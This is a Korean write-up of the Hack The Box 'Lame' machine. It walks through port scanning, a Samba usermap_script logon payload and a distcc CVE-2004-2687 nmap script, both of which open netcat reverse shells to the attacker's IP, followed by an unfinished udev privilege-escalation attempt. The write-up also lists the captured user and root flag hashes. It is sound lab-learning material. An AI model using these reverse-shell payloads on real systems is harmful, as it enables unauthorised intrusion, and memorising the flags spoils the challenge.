[HTB] Lame Writeup
포트스캐닝을 통해 대상 머신의 정보를 파악해보자.
nmap -sC -sS -p- 10.129.170.84
21, 22, 139 and 445, 3632 포트가 활성화 되어있다.
스크립트 결과를 보니 smb 관련 결과가 나왔으므로 먼저 취약점이 있나 찾아보도록 하자.
Samba 3.0.20-Debian 을 사용중이므로 해당 버전의 취약점 존재 여부를 파악해보자.
searchsploit samba 3.0.20
Command Execution 이 가능한 취약점(16320.rb)가 존재한다.
cat /usr/share/exploitdb/exploits/unix/remote/16320.rb
해당 취약점을 활용한다면, payload는 아래 형식 일 듯 하다.
위에서 알아본 공격 기법을 사용할 point를 조사해보도록 하자.
smbmap -H 10.129.170.84
tmp의 권한이 READ, WRITE 이므로 이에 접근하여 reverse shell을 실행시키면, 플래그를 획득 할 수 있다.
nc -nvlp 1234
smbclient //10.129.170.84/tmp
logon "/=nohup nc -nv 10.10.14.4 1234 -e /bin/sh`"
FLAG =
[user] 9de7af5391facbb2bee971de4945c4ed
[root] 055e0c7f866b01457267cae3af8b9061
-----------------------------------------------------------------------------------------------------------------------------------
다행히 처음 시도한 접근 방법이 맞아서 문제를 해결하긴 했지만, 3632포트의 distccd 서비스는 생소한것이었기에 추가 공부를 해봤다.
cve-2004-2687 취약점을 통해서 RCE가 가능한듯 했고, nmap 스크립트를 찾을 수 있었다.
nmap -p 3632 10.129.170.246 --script distcc-cve2004-2687.nse --script-args="distcc-cve2004-2687.cmd='nc 10.10.14.4 1234 -e /bin/sh'"
위처럼 RCE가 가능함을 판단하여 Reverse Shell을 얻었지만, root 권한이 아니었기때문에 root.txt를 읽을 순 없었다.
권한 상승을 위해 서버 자체 취약점 존재 여부를 파악해봤다.
uname -a
searchsploit 을 통해 해당 서버 버전의 취약점을 찾아보았다. 몇 개 시도해봤는데 잘 되지 않아서 구글링을 하다가 아래 링크를 발견했다.
Linux Kernel 2.6 UDEV < 141 – Local Privilege Escalation Exploit Example
July 02, 2016 — metalkey Attacker: Kali Linux Victim: Metasploitable 2 Note: This exploit leverages a vulnerability in NETLINK. More information on NETLINK can be found on the Linux Foundation website (http://www.linuxfoundation.org/collaborate/workgroup
metalkey.github.io
cve-2009-1185 를 활용한다는 내용이었는데, 테스트 서버가 문제 서버와 일치했기때문에 이를 활용해보도록 했다.
타겟 서버 -> 공격서버로 접근하여 8572.c 파일을 다운로드 하도록 했다.
8572.c 파일을 읽어보니 사용 방법이 나와있었다.
설명서에 나온대로 인자로 들어갈 pid를 찾았다.
또한 /tmp/run 이 root 권한으로 실행되는 취약점이므로 run 파일을 작성해주었다.
구글링 결과 동일 환경에서 8572.c 를 활용해 권한상승 사례가 있는데 똑같이 해도 안된다.. 워낙 오래된머신이다보니 이 방법은 막힌건가..? 해결방법을 찾으면 추가 작성하겠다.
... running ...